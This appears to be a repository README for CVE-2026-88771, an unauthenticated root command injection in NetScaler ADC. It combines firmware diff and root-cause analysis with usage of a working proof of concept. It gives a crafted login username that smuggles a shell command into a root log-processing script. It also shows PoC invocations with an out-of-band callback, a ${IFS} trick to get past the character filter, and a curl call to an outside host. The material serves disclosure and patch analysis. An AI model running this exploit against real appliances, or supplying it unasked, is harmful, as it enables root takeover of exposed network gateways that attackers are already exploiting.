
Firmware diff analysis, root-cause writeup, and working PoC for the unauthenticated NetScaler ADC command injection (CVE-2026-88771) leading to root execution.
Unauthenticated arbitrary command execution (as root) in Citrix ADC (NetScaler) 14.1-66.59 and 14.1-72.61. Fixed in 14.1-73.37 (and 13.1-64.23). CVSS 9.5, affects default deployments, no additional feature required.
This repository contains the firmware diff analysis, the extracted vulnerable evidence, and a working proof-of-concept.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — see poc/README.mdA failed, unauthenticated management login is audited to /var/log/ns.log
with the attacker-controlled username. The default-enabled root telemetry
worker (admautoregd, delivered in the firmware's outer mastools_scripts.tgz)
periodically runs /netscaler/ns_monuploadd_err.pl -WR. In the vulnerable
builds that branch pipes matching log lines through a broad grep | sed | awk
and interpolates the result unquoted into a shell command:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
A crafted username like pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died
survives the pipeline as the shell token NSPPE-00;id>/tmp/pwned;#-unexpectedly,
so the backtick sink runs find ... -name NSPPE-00, then id>/tmp/pwned (root),
then a #-comment.
POST to /nitro/v1/config/login
(evidence/gui-72.61/admin_ui/nitro/nitro.php);
the browser login controller forwards username/password verbatim
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128 for the username — no character allowlist
(decompilation in analysis/nsppe_api_login_799b90.c)./var/log/ns.log as
CMD_EXECUTED with the username in the record (formatter decompilation:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup, root), and on its first probe
plus every 24 h runs CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'
via subprocess.Popen
(evidence/mastools-72.61/scripts/admautoreg/constant.py).-WR branch of ns_monuploadd_err.pl interpolates the
log-derived token unquoted into a backtick command — command execution as
root, before any core-file existence check.Both halves were fixed together:
ns_monuploadd_err.pl replaces the pipeline with a strict Perl regex
(NSPPE-\d{2} + numeric PID only) and invokes find via list-form
open '-|' (no shell) — see
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd caller is removed: CHECK_PE_FAILURE_CMD,
_check_disk_pe_failure(), get_pe_failure_info() are all gone from the
73.37 mastools package — compare
evidence/mastools-72.61/ vs
evidence/mastools-73.37/.CVE-2026-88771 is one of eight CVEs in the coordinated Citrix bulletin. Per the bulletin and the public watchTowr write-up, the set and its disposition is:
| CVE | Description | CVSS 4.0 | Exploited in the wild |
|---|---|---|---|
| CVE-2026-88771 | Pre-auth command injection (this repo) — default config | 9.5 Critical | Yes |
| CVE-2026-88772 | Memory overflow (RCE/DoS) when DTLS enabled — default for VPN vServers | 9.5 Critical | Yes |
| CVE-2026-88773 | HTTP request smuggling — config-dependent | 9.3 Critical | No |
| CVE-2026-88774 | Config-dependent | 7.0 High | No |
| CVE-2026-88775 | Memory overflow — config-dependent | 8.8 High | No |
| CVE-2026-88776 | Memory overflow — config-dependent | 8.8 High | No |
| CVE-2026-88777 | Memory overflow — config-dependent | 8.8 High | No |
| CVE-2026-88778 | Predictable ISN — fixed by enabling Enhanced ISN Generation, not the upgrade alone | 8.8 High | No |
Fixed releases per the bulletin (not only the 14.1 / 13.1 pairs above):
Authorised testing only. The remote side is one unauthenticated HTTPS
POST; the injected command runs later as root, when the telemetry worker
next executes its 24 h PE-failure check (rebooting the appliance, or
restarting admautoregd, forces it).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
Expect HTTP 401 — the failed login is exactly what writes the audit line.
Then on the appliance (or by waiting up to 24 h) trigger the worker:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
Verify root execution: ls -l /tmp/cve88771_ef60f0de46d9 should show
root:wheel.
Enforces the same payload rules: a command with a literal space, (, ), ?,
or & is rejected before sending (exit 2). Use ${IFS} for spaces.
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id>/tmp/cve88771_ef60f0de46d9'
python3 poc/cve_2026_88771_poc.py netscaler.local 'id>/tmp/pwned' --port 8443
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id' --marker # random marker path
# command needs a space? use ${IFS} (no literal spaces allowed):
python3 poc/cve_2026_88771_poc.py 10.0.0.5 '/usr/bin/curl${IFS}-sk${IFS}http://10.0.0.9/88771'